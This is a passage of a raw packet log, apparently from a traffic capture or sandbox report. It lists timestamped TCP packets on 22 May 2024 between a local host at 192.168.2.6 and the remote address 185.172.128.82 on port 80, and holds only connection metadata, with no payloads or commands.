May 22, 2024 20:06:31.975321054 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.975337982 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.975346088 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.975364923 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.975372076 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.975387096 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.975398064 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.975413084 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.975425005 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.975434065 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.975450993 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.975460052 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.975476980 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.975491047 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.975502014 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.975518942 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.975544930 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.975732088 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.975750923 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.975788116 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.975801945 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.975897074 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.975914955 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.975935936 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.975944996 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.975961924 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.975971937 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.975986958 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.975996971 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.976007938 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.976023912 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.976032019 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.976048946 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.976063967 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.976075888 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.976084948 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.976102114 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.976119041 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.976126909 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.976136923 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.976150990 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.976160049 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.976176023 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.976183891 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.976200104 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.976216078 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.976227045 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.976236105 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.976264954 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.979326963 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.979356050 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:31.979384899 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:31.979424000 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.056447983 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.056483030 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.056504965 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.056521893 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.056540012 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.056560040 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.056602955 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.056653023 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.056739092 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.056757927 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.056781054 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.056791067 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.056808949 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.056816101 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.056833029 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.056839943 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.056857109 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.056865931 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.056885004 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.056894064 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.056911945 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.056935072 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.057096958 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.057145119 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.060044050 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.060065031 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.060096025 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.060125113 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.060230970 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.060281992 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.060389996 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.060409069 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.060431004 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.060441017 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.060462952 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.060487986 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.060559988 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.060612917 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.060760975 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.060815096 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.061135054 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.061152935 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.061176062 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.061184883 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.061203957 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.061211109 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.061229944 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.061248064 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.061297894 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.061342955 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.061500072 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.061522007 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.061541080 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.061551094 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.061570883 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.061578035 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.061593056 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.061603069 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.061614037 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.061630011 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.061640024 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.061656952 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.061671972 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.061677933 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.061697006 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.061719894 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.062043905 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.062064886 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.062084913 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.062093973 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.062113047 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.062124014 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.062134981 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.062156916 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.062218904 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.062237024 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.062258005 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.062268019 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.062289000 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.062295914 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.062313080 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.062320948 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.062336922 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.062345028 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.062361956 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.062386036 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.062612057 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.062628984 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.062650919 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.062665939 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.062680006 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.062686920 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.062700033 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.062711000 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.062727928 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.062736988 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.062748909 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.062764883 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.062773943 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.062791109 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.062807083 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.062819004 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.062834978 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.062845945 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.062855959 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.062886953 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.063118935 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.063138008 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.063158989 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.063168049 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.063185930 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.063196898 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.063213110 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.063221931 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.063240051 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.063272953 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.063287973 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.063308954 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.063333035 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.063357115 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.063494921 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.063513994 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.063534975 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.063544035 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.063561916 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.063571930 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.063587904 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.063604116 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.063615084 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.063632011 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.063641071 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.063662052 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.063668013 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.063683987 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.063707113 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.063855886 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.063874006 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.063893080 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.063908100 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.063940048 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.064028025 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.064049006 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.064065933 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.064074039 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.064116955 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.064214945 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.064237118 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.064256907 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.064265966 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.064282894 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.064302921 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.064310074 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.064330101 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.064338923 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.064356089 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.064372063 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.064383030 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.064405918 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.064444065 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.064748049 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.064769030 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.064786911 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.064800024 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.064812899 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.064822912 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.064841986 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.064857960 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.064866066 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.064878941 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.064888000 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.064904928 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.064922094 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.064930916 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.064945936 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.064958096 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.064966917 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.064984083 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.064997911 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.065011024 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.065026045 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.065032959 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.065048933 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.065061092 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.065071106 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.065087080 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.065102100 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.065115929 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.065133095 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.065145016 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.065155029 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.065171957 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.065186977 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.065207005 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.065614939 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.065634012 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.065655947 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.065665007 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.065685034 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.065692902 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.065707922 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.065718889 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.065730095 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.065747023 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.065757990 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.065773964 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.065793991 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.065804005 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.065821886 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.065831900 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.065850019 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.065865993 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.065900087 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.071628094 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.071650028 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.071687937 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.071736097 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.116401911 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.117904902 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.145515919 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.147574902 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.151782036 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.151864052 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.153265953 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.153316021 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.153335094 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.153352976 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.153383017 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.153398991 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.153407097 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.153435946 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.153456926 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.153481007 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.153543949 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.153570890 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.153594017 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.153613091 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.153633118 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.153641939 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.153677940 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.153717041 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.153768063 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.153853893 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.153877974 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.153894901 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.153914928 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.153923988 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.153959990 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.153987885 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.154009104 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.154028893 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.154036045 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.154062986 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.154077053 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.154087067 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.154103041 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.154123068 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.154141903 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.154150009 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.154170990 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.154181957 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.154198885 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.154212952 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.154222012 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.154244900 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.154309988 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.154683113 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.154704094 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.154722929 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.154736996 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.154750109 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.154758930 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.154777050 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.154791117 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.154799938 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.154819012 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.154828072 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.154848099 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.154855013 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.154872894 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.154881001 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.154896021 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.154907942 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.154917955 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.154936075 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.154949903 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.154958010 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.154972076 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.154979944 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.154997110 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.155006886 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.155019045 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.155035019 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.155044079 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.155061960 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.155077934 CEST	80	49708	185.172.128.82	192.168.2.6
